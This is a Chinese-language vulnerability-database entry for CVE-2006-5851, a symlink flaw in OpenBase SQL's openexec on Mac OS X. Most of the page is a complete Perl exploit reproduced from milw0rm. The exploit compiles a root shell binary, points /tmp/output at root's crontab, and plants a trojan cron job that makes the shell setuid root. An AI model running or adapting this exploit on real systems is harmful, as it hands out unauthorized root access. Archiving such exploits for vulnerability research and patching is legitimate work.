OpenBase SQL任意文件创建文件漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111499 漏洞类型 后置链接
发布时间 2006-11-08 更新时间 2006-11-09
CVE编号 CVE-2006-5851 CNNVD-ID CNNVD-200611-160
漏洞平台 OSX CVSS评分 2.1
|漏洞来源
https://www.exploit-db.com/exploits/2737
https://www.securityfocus.com/bid/87367
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200611-160
|漏洞详情
OpenBaseSQL的10.0.1之前版本中的openexec允许用户通过对/tmp/output文件的symlink攻击来创建任意文件。
|漏洞EXP
#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# <= ftp://www.openbase.com/pub/OpenBase_10.0 (vulnerable) ?
#
# Create a new file anywhere on the filesystem with rw-rw-rw privs.
# Sorry you can NOT overwrite existing files.
#
# Writing to roots crontab seems to be fairly prompt at handing out root shells
# Make sure that you get cron running by first creating a user crontab!
#
# The openexec binary creates a root owned log file in /tmp/
# Following symlinks is bad mmmmmmmmmmkay!
#
# Tested against  OpenBase10.0.0_MacOSX.dmg

$dest = "/var/cron/tabs/root";

$binpath = "/Library/OpenBase/bin/openexec"; # Typical location.

# In this instance targets are really pointless but I wanted to archive known vulnerable versions while testing.
$tgts{"0"} = "OpenBase10.0.0_MacOSX.dmg:$binpath";

unless (($target) = @ARGV) {
       print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

       foreach $key (sort(keys %tgts)) {
               ($a,$b) = split(/\:/,$tgts{"$key"});
               print "\t$key . $a\n";
       }

       print "\n";
       exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a $b\n";

open(OP,">/tmp/finisterre.c");
printf OP "main()\n";
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh -i\"); }\n";
system("gcc -o /Users/Shared/shX /tmp/finisterre.c");

# Create a user crontab FIRST! This ensures that cron is running when the fake root crontab is created. Aka semi-insta-root (in a minute)
system("echo '* * * * * /usr/bin/id > /tmp/aa' > /tmp/user_cron");
system("crontab /tmp/user_cron");

# The umask is where the lovin occurs. I'm rw-rw-rw James bitch!!
system("ln -s $dest /tmp/output");
sleep 60;   # Probably don't need to wait this long but whatever...

system("umask 111; $b -deactivate");
print "$dest should be rw-rw-rw ... enjoy!\n";
print "installing trojan crontab for root\n";

system("echo '* * * * * /usr/sbin/chown root: /Users/Shared/shX; /bin/chmod 4755 /Users/Shared/shX' > /var/cron/tabs/root");

print "sit around and chill for a minute then check /Users/Shared/shX !\n";
sleep 60 ;

system("/Users/Shared/shX");

# milw0rm.com [2006-11-08]
|受影响的产品
Openbase International Ltd Openbase 9.1.5 Mac Os X Openbase International Ltd Openbase 8.0.4 Mac Os X Openbase International Ltd Openbase 7.0.15 Mac Os X Openbase International Ltd Openbase 10.0 Mac Os X
|参考资料

来源:MILW0RM
名称:2737
链接:http://www.milw0rm.com/exploits/2737
来源:MISC
链接:http://www.digitalmunition.com/DMA%5B2006-1107a%5D.txt
来源:SECUNIA
名称:22742
链接:http://secunia.com/advisories/22742
来源:FULLDISC
名称:20081108OpenBaseSQLmultiplevulnerabilitiesPartDeux
链接:http://marc.theaimsgroup.com/?l=full-disclosure&m=116296717330758&w=2
来源:VUPEN
名称:ADV-2006-4404
链接:http://www.frsirt.com/english/advisories/2006/4404
来源:MILW0RM
名称:2737
链接:http://milw0rm.com/exploits/2737